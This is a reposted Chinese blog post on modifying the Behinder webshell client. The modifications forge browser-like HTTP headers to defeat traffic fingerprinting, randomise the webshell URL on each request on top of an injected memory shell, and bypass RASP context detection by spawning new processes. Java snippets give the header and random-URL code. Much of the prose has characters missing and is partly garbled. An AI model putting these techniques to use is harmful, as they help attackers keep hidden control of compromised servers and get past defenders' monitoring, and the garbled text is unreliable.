09
2025
04
18:56:21

冰蝎改造之动态url以及rasp绕过

背景:

考其他⽂简单下动url和命rasp绕过。

⽬前跟哥包存⼀个header特征,不不像拉那样⽤的java的 url,且
⽤的okhttp3以冰修改起来常简单,⽬前规的webshell理⼯具也较流⾏。










修改点一



net.rebeyond.behinder.utils



post包,⾸先获取url,创body,再发送body⾯就header理,要提前header,就能调整host的顺,代码下:


















String hostValue = headers.get("Host"); if (hostValue == null) { hostValue = host + (port != -1 && port != 80 && port != 443 ? ":" + port : ""); } builder.addHeader("Host", hostValue); // 始终第⼀个添加 Host builder.addHeader("User-Agent", "Mozilla/5.0 (Macintosh; Intel Ma c OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.11 Safari/537.36"); builder.addHeader("Sec-Ch-Ua","\"Chromium\";v=\"122\", \"Not(A:Bra nd\";v=\"24\", \"Microsoft Edge\";v=\"122\""); builder.addHeader("Dnt","1"); builder.addHeader("Sec-Ch-Ua-Mobile","?0"); builder.addHeader("Sec-Ch-Ua-Arch","\"x86\""); builder.addHeader("Accept", "*/*"); builder.addHeader("Sec-Fetch-Site","same-origin"); builder.addHeader("Sec-Fetch-Mode","cors"); builder.addHeader("Sec-Fetch-Dest","empty"); builder.addHeader("Accept-Encoding","gzip, deflate, br"); builder.addHeader("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,e n;q=0.7");



接下来还需要对某个地⽅进⾏处理,不然数据包中会出现重复的header头

net/rebeyond/behinder/core/ShellService



跟踪initHeardersByType






发现在shellservice中调⽤了initHeardersByType,这⾥我⻔就可以确认,发包过程中还会对header头进⾏⼀个初始化,由于我⻔前⾯已经⾃定义了添加了header头,这⾥我⻔可以直接去除  initHeardersCommon函数中的相关header




private void initHeardersCommon(String type, Map<String, String> headers) { headers.put("Referer", this.getReferer());}




修改点二




对于动态url的实现是基于内存⻢⽅式的基础之上的,所以这个的实现还需要你去注⼊内存⻢

这⾥的思路事判断连接时填写的url如果url中包含了⽐如http://www.baidu.com/* 他的每次发包就会随机后缀

这⾥的实现点在net/rebeyond/behinder/core/ShellService中

前⾯对于header头的修改我们清楚的知道了⼀点,shellservice管理发包,所以我们的实现点⾃然也是在 shellservice中








if (this.currentUrl.contains("*")) { this.isurl = true; this.currentUrl = removeSymbols(shellEntity.getString("url")) + "api/" + generateRandomString(4) + "/" + generateRandomString(6) + ".do"; }



判断url是否包含* 之后添加/api/随机4个字符/随机6个字符外在.do后缀之后就只需要对每个操作中重复添加下⾯这串代码就⾏





if (this.currentUrl.contains("*")) { this.isurl = true; this.currentUrl = removeSymbols(shellEntity.getString("url")) + "api/" + generateRandomString(4) + "/" + generateRandomString(6) + ".do"; }


例:



列出⽂件




⽂件hash




由于冰payload整体直接发送以他能实现,⾄于拉,⽬前还没有弄来。


修改点三



命令执⾏绕过rasp 常⻅的有上下⽂检测,hook,navite,jni;这⾥我对于rasp的绕过是基于上下⽂检测绕过实现的,这种绕过实现简单,⽽且效果⽐较好,⽐如360核晶环境下低权限⽆法执⾏命令,就可以通过绕过上下⽂检测来成功执⾏命令

实现:

直接通过新建进程来实现对于rasp的绕过





推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

本文链接:https://hqyman.cn/post/10294.html 非本站原创文章欢迎转载,原创文章需保留本站地址!

分享到:
打赏





休息一下~~


« 上一篇 下一篇 »

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

请先 登录 再评论,若不是会员请先 注册

您的IP地址是: